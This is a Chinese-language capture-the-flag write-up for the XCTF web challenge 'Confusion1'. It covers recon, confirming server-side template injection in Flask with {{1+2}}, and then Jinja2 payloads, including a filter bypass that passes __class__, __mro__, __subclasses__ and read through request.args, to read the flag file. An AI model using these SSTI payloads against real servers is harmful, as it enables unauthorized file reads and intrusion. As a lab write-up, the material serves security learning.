【攻防世界WEB】难度四星12分进阶题:Confusion1

三、Confusion1

【攻防世界WEB】难度四星12分进阶题:Confusion1_第1张图片

 

解题方法:

1、SSTI漏洞,构造payload

过程:

【攻防世界WEB】难度四星12分进阶题:Confusion1_第2张图片

 

大象        and        蛇(确实帅)

php+python想到了见过很多次的SSTI漏洞

【攻防世界WEB】难度四星12分进阶题:Confusion1_第3张图片【攻防世界WEB】难度四星12分进阶题:Confusion1_第4张图片


先到处逛逛(这个里面都是一些信息)

【攻防世界WEB】难度四星12分进阶题:Confusion1_第5张图片

login和register都报错

(但是这里一定是很重要的地方)

【攻防世界WEB】难度四星12分进阶题:Confusion1_第6张图片

 

看robot.txt(没什么东西)

【攻防世界WEB】难度四星12分进阶题:Confusion1_第7张图片


 考虑分析页面源码了

login.php中Ctrl+U查看页面源码

发现flag路径

【攻防世界WEB】难度四星12分进阶题:Confusion1_第8张图片

 


分析有没有SSTI漏洞

{{1+2}}

被运算了,得出结果3

【攻防世界WEB】难度四星12分进阶题:Confusion1_第9张图片

 


SSTI常用的注入

__class__() 返回对象的类

__base__()/__mro__() 返回类所继承的基类

__subclasses__() 返回继承类的所有子类

pyaload:

{{"".__class__.__mro__[2].__subclasses__()[40]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt").read()}}

被过滤了

【攻防世界WEB】难度四星12分进阶题:Confusion1_第10张图片

 


构造payload

request 是 Flask 框架的一个全局对象 , 表示 " 当前请求的对象( flask.request ) "

request.args.key   

args是参数,key可以是内置函数

——————

payload:

{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?&a=__class__&b=__mro__&c=__subclasses__&d=read

【攻防世界WEB】难度四星12分进阶题:Confusion1_第11张图片

cyberpeace{a92d9e29b89ab062c895ddc06f237cb6} 

你可能感兴趣的:(#,攻防世界WEB,web安全,php,安全)